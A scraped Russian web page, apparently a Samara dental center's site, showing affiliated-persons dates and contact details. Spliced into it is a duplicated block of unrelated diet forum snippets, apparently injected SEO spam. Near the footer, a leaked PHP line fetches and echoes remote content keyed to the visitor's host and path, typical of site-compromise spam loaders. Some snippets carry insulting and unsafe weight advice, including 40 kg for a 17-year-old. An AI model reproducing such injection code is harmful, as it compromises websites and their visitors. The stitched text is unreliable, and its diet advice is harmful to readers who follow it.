  • Диеты при заболеваниях щитовидки - Подскажите диету на которой можно прохудеть кг на 15 с заболеванием щетовидной железы Смотря какое заболевание щит желез
  • Препарат турбослим экспресс-похудение - Удалось ли кому-нибудь похудеть на 3 см с помощью препарата "Турбослим - экспресс-похудение за 3 дня"?)) Нет конечно. фи
  • Можно ли самовнушением похудеть - Можно ли похудеть психологически Под лежачий камень вода не течет)) Множество сайтов морочат людям голову своими рассказ
  • Диета для больной печени рецепты - Нашли маленькую собачку на улице взяли домой, но у нее из пасти воняет за километр, что делать? чистка зубов не помогает
  • Какие блюда кушать при диете - Принимаем зеленый кофе на какие блюди можно употреблять а какие нет обязательно ли соблюдать на диету и какие??? Диету ж
  • Кремлевская диета язык в желе - Что вкусненького съесть при кремлёвской диете??? Солененький огурчик ;) Желе на кремлевской диете. Поэтому при панкреати
  • Калькуляторы для похудения - Какой должен быть вес если рост 168, 17 лет? Кому должен? что за чушь спрашивают эти малолетки? * 40 кг. иди худей Для н
  • Диета мясное суфле видео - Врач прописал строгую диету(панкреатит),как готовить диетическое мясное суфле? Варите постную говядину, пропускаете чере
  • Планирование беременности диеты - Можно ли планировать беременность и сидеть на диете одновременно? ? ТЕБЕ МОЖНО - РОДИТЬСЯ ЛИБО ДЕБИЛ ЛИБО ДИСТРОФИК. Где
  • Целлюлит зарядка от целлюлита - Если заниматься гимнастикой ноги похудеют? Целлюлит пропадает ? Нет. Когда питание наладите. Подготовительные физические
  • Диеты при заболеваниях щитовидки - Подскажите диету на которой можно прохудеть кг на 15 с заболеванием щетовидной железы Смотря какое заболевание щит желез
  • Препарат турбослим экспресс-похудение - Удалось ли кому-нибудь похудеть на 3 см с помощью препарата "Турбослим - экспресс-похудение за 3 дня"?)) Нет конечно. фи
  • Можно ли самовнушением похудеть - Можно ли похудеть психологически Под лежачий камень вода не течет)) Множество сайтов морочат людям голову своими рассказ
  • Диета для больной печени рецепты - Нашли маленькую собачку на улице взяли домой, но у нее из пасти воняет за километр, что делать? чистка зубов не помогает
  • Какие блюда кушать при диете - Принимаем зеленый кофе на какие блюди можно употреблять а какие нет обязательно ли соблюдать на диету и какие??? Диету ж
  • Кремлевская диета язык в желе - Что вкусненького съесть при кремлёвской диете??? Солененький огурчик ;) Желе на кремлевской диете. Поэтому при панкреати
  • Калькуляторы для похудения - Какой должен быть вес если рост 168, 17 лет? Кому должен? что за чушь спрашивают эти малолетки? * 40 кг. иди худей Для н
Диета обогащенная мононенасыщенными жирными кислотами
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта